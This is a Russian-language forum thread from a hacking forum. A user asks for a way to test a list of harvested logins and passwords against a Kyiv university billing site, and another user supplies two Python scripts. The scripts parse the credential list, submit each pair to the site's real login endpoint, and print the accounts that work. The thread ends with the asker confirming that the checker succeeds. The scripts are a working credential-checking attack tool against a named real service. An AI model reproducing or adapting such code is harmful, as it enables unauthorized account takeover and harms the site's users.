Нужна помощь, вытащить значения с одного файла в другой.

Discussion in 'PHP' started by LiteMentaL, 2 Dec 2014.

  1. LiteMentaL

    LiteMentaL Elder - Старейшина

    Joined:
    24 Feb 2008
    Messages:
    0
    Likes Received:
    304
    Reputations:
    7
    Всем привет, дорогие форумчане и кодеры. Никогда не обращался в этот раздел, но тут жизнь заставила, и мне нужна Ваша помощь.

    В общем, мне кажется, ничего сложного в этом нету, но я не разбираюсь, поэтому пишу сюда.

    Суть задачи в том, что:
    есть хтмл файл: bla.html
    в котором инфа идет вида:
    HTML:
    <br><input value='2220000300001'><input value='asdf'><br><input value='2220000400008'><input value='alexpavel'><br>
    и есть второй bla2.html
    в котором:
    HTML:
     <form action="https://bill.univ.kiev.ua/index.php?act_id=access" method="POST"> 
            <input type="hidden" name="login" value="xxxxx"> 
            <input type="hidden" name="password" value="xxxxx2"> 
            <input type="submit" value="xxxxx"> 
        </form> <br><br>
    <form action="https://bill.univ.kiev.ua/index.php?act_id=access" method="POST"> 
            <input type="hidden" name="login" value="xxxxx"> 
            <input type="hidden" name="password" value="xxxxx2"> 
            <input type="submit" value="xxxxx"> 
        </form> <br><br>
    222хххххххх это пароли, asdf у нас логин (и alexpavel соответсвенно).

    Так вот, нужно из файла bla.html вытащить все пароли(222ххххххххх) и вставить их в форму автовходав файле bla2.html на место ххххх2, а логины в поле ххххх. Тоесть чтобы создало файл вида:
    HTML:
     <form action="https://bill.univ.kiev.ua/index.php?act_id=access" method="POST"> 
            <input type="hidden" name="login" value="asdf"> 
            <input type="hidden" name="password" value="2220000300001"> 
            <input type="submit" value="xxxxx"> 
        </form> <br><br>
    <form action="https://bill.univ.kiev.ua/index.php?act_id=access" method="POST"> 
            <input type="hidden" name="login" value="alexpavel"> 
            <input type="hidden" name="password" value="2220000400008"> 
            <input type="submit" value="xxxxx"> 
        </form> <br><br>
    с готовыми паролями и логинами, чтоб можно было только нажимать на кнопки и проверять подходит пароль или нет.

    как это сделать? Возможна материальная благодарность за помощь.
     
  2. yarbabin

    yarbabin HACKIN YO KUT

    Joined:
    21 Nov 2007
    Messages:
    1,671
    Likes Received:
    895
    Reputations:
    363
    дай тестовый акк в лс, лучше несколько. вроде написал, но немного по-другому
     
    _________________________
  3. LiteMentaL

    LiteMentaL Elder - Старейшина

    Joined:
    24 Feb 2008
    Messages:
    0
    Likes Received:
    304
    Reputations:
    7
    скинул.
     
  4. yarbabin

    yarbabin HACKIN YO KUT

    Joined:
    21 Nov 2007
    Messages:
    1,671
    Likes Received:
    895
    Reputations:
    363
    там ни одного акка рабочего, так и не смог проверить :)
    Code:
    #!/usr/bin/python
    from re import findall
    import urllib2, urllib
    
    headers = {
    		'User-Agent' : 'Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.6) Gecko/2007072300 Iceweasel/2.0.0.6',
    		'Referer' : 'https://user.bill.univ.kiev.ua/',
    		'Connection' : 'keep-alive',
    }
    
    f = open('bla.html', 'r').read()
    acc = findall(r'value=\'(.*?)\'.*?value=\'(.*?)\'><br>', f)
    for i in range(len(acc)):
    	values = {'login' : acc[i][1], 'password' : acc[i][0]}
    	data = urllib.urlencode(values)
    	req = urllib2.Request('https://bill.univ.kiev.ua/index.php?act_id=access', data, headers)
    	response = urllib2.urlopen(req)
    	lol = response.read()
    	if lol.find('act_id=lost_password') == -1:
    		print acc[i][1] + ':' + acc[i][0]
    
    простой скрипт, для работы нужен python 2. bla.html замени только на путь до файла на пк :)
     
    _________________________
  5. LiteMentaL

    LiteMentaL Elder - Старейшина

    Joined:
    24 Feb 2008
    Messages:
    0
    Likes Received:
    304
    Reputations:
    7
    Скинул рабочий, сорри.
     
  6. yarbabin

    yarbabin HACKIN YO KUT

    Joined:
    21 Nov 2007
    Messages:
    1,671
    Likes Received:
    895
    Reputations:
    363
    исправил проблемы, теперь все ок :)
    Code:
    #!/usr/bin/python
    from re import findall
    import urllib2, urllib, cookielib
    
    cookie = cookielib.CookieJar()
    opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cookie))
    urllib2.install_opener(opener)
    
    headers = {
    		'User-Agent' : 'Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.6) Gecko/2007072300 Iceweasel/2.0.0.6',
    		'Referer' : 'https://user.bill.univ.kiev.ua/',
    		'Connection' : 'keep-alive',
    }
    
    f = open('accs.txt', 'r').read()
    acc = findall(r'value=\'(.*?)\'.*?value=\'(.*?)\'><br>', f)
    for i in range(len(acc)):
    	values = {'login' : acc[i][1], 'password' : acc[i][0]}
    	data = urllib.urlencode(values)
    	req = urllib2.Request('https://bill.univ.kiev.ua/index.php?act_id=access', data, headers)
    	response = urllib2.urlopen(req)
    	lol = response.read()
    	if lol.find(acc[i][1]) != -1:
    		print acc[i][1] + ':' + acc[i][0]
     
    _________________________
    1 person likes this.
  7. LiteMentaL

    LiteMentaL Elder - Старейшина

    Joined:
    24 Feb 2008
    Messages:
    0
    Likes Received:
    304
    Reputations:
    7
    Не робит(
     
  8. LiteMentaL

    LiteMentaL Elder - Старейшина

    Joined:
    24 Feb 2008
    Messages:
    0
    Likes Received:
    304
    Reputations:
    7
    Все, заработало! Спасибо дружище!
     
Loading...
Similar Threads - Нужна помощь вытащить
  1. asis
    Replies:
    18
    Views:
    2,824
  2. nike495
    Replies:
    3
    Views:
    1,693
  3. Guno7
    Replies:
    9
    Views:
    1,887
  4. Sways
    Replies:
    3
    Views:
    1,617